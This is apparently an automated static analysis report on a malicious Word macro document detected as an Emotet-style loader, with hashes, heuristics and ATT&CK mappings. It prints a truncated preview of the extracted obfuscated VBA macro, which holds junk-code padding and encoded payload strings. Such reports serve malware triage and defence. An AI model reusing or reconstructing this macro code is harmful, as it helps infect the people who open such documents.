Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 db17d474db86d5e7…

MALICIOUS

Office (OLE)

203.5 KB Created: 2018-03-23 18:08:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: a6102da5bc67f77bfc26edd76fc332a8 SHA-1: d4ef2f8114d0a3c1bc8c83a674474b7a373ed002 SHA-256: db17d474db86d5e7410704298a06249b4f9d7b3ec3be3785ddf3bcbb38386f01
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV and exhibits high-confidence heuristics for VBA macros, including an AutoOpen macro and a CreateObject call. The presence of a VBA macro named 'macros.bas' suggests it is designed to execute malicious code. The macro likely attempts to download and execute a second-stage payload, a common technique for malware distribution.

Heuristics 8

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 213558 bytes
SHA-256: 7b857e130cc80c1f18f03c271a140e41f49b860f7e20a461c5d8c76606589ce1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 42 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "DFMTfRkjLSAC"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "JvnkQljU"
Function osaOvBb()
On Error Resume Next
Select Case ZiMPR
         Case 25969
            LDBSz = Log(85545)
            SjVBha = Int(CPsFT)
            vQLVB = 14315
      End Select
      If TDQQz Or 61995 Then
         aRnrkw = CLng(pDptbI)
End If
aOuZSc = AFVcKN("YoaN%BiAGQAOQBhADAAYwA4UlQj", 6, 18)
Select Case WPUKw
         Case 91113
            vrfQp = Log(82959)
            OSFEB = Int(zkcAUW)
            GMWca = 98030
      End Select
      If wowGz Or 70882 Then
         iZHbu = CLng(iakjo)
End If
Select Case YthhI
         Case 9692
            GRmVB = Log(67869)
            NAFsLP = Int(kiBOTX)
            UowmYq = 55190
      End Select
      If DBzIL Or 39155 Then
         ItHFD = CLng(iKuGcf)
End If
BMLZL = AFVcKN("hhAGMAZAA0AGQAYgBkADIAZABlAUnPrHM", 2, 26)
Select Case LfTphj
         Case 72698
            njdsCs = Log(94449)
            tCDPk = Int(IGOUt)
            dDfwLp = 18726
      End Select
      If hKbbi Or 44025 Then
         JdMBC = CLng(GBDYPD)
End If
Select Case iYoni
         Case 97232
            MvsbkL = Log(39008)
            kvCcmt = Int(JniVQ)
            lAJjD = 3810
      End Select
      If ZJowi Or 65536 Then
         jRzQm = CLng(CMuTQu)
End If
rHcUjk = AFVcKN("0aDMAOQA3ADAANQAxADMAZABjAGEAYgA0AGEAZAA2wjoG", 3, 39)
Select Case SOAENi
         Case 42563
            vjujJE = Log(26876)
            GDzEUj = Int(qSiYDZ)
            qPJYz = 21393
      End Select
      If klwLz Or 69985 Then
         Cjdnom = CLng(PSpImW)
End If
Select Case WLFcR
         Case 99265
            jWcTdi = Log(89375)
            OojUXp = Int(YiXDt)
            CwPpqE = 63737
      End Select
      If TbwZp Or 2736 Then
         rdknih = CLng(Kojwb)
End If
SbzfqDst = AFVcKN("GAOQAxAGYANAAxAGEAYQBmAGIAYQA3ADgAMQAzAGUANQBhADUANQA1ADYAMQBiAGEANgBlAGEA' |ConVERTto-SecuReSTRing  -k 24,234,8,12,zcU c3N%", 2, 115)
Select Case mWFOG
         Case 83554
            YMinZN = Log(28049)
            Nmvhod = Int(FnPODB)
            bIrcUd = 94034
      End Select
      If iSwXI Or 60256 Then
         zNQTGz = CLng(lQnjF)
End If
Select Case nmaBnj
         Case 52856
            uSWUU = Log(54728)
            hFMcid = Int(IQVpUd)
            HzQwh = 78443
      End Select
      If TCuLk Or 70020 Then
         pkrzJ = CLng(TUKUYz)
End If
nvILNhz = AFVcKN("9GUZABmAGYAZgAzADAAZAAzADIAYQAyADYANwBjADgAMgAyAGQANQA2ADkAMAA1ADMAZAAxADEAYgAxAGYAMAAwADMAMQA2ADUAZQBkAGYAYwBjAKucnaZ", 4, 109)
Select Case dJfzO
         Case 95711
            mSGYn = Log(76284)
            NCSRwt = Int(SfdsL)
            nnpvXh = 69202
      End Select
      If JXzzmd Or 75094 Then
         iTJVD = CLng(RrDZG)
End If
Select Case hDhri
         Case 43780
            flaJll = Log(26252)
            CiWfd = Int(KNBQZ)
            idauI = 72574
      End Select
      If sLvzrr Or 40110 Then
         rFJRt = CLng(VVjFv)
End If
ochiRwKbMXK = AFVcKN("6z0 ANwA2ADIAMQA1AGUAZABhAGQANwt@u", 5, 26)
Select Case jXpjbF
         Case 38812
            BKfAz = Log(3770)
            uHffn = Int(PSIsw)
            AJIupM = 77474
      End Select
      If VWPXlX Or 25124 Then
         hZIRr = CLng(bNAaHo)
End If
Select Case hzUzP
         Case 50428
            nfYAjO = Log(13829)
            wpXwY = Int(wLuHl)
            RwTEfz = 58246
      End Select
      If JwznV Or 77124 Then
         kbWsU = CLng(AlttO)
End If
wnNENJwCKd = AFVcKN("pBkADYAYgBlADgAOABkADkAZQBmADQANgAzAGQAOABkADAANgAzAGIAMwBmADkAYgAzADUAwVjQpQ", 2, 70)
Select Case JioZr
         Case 58403
            jqLUUl = Log(69234)
            Nzqkdk = Int(NkYPRr)
            LaLRm = 40837
      End Select
      If UYHJqH Or 42705 Then
         GBGkI = CLng(lC
... (truncated)

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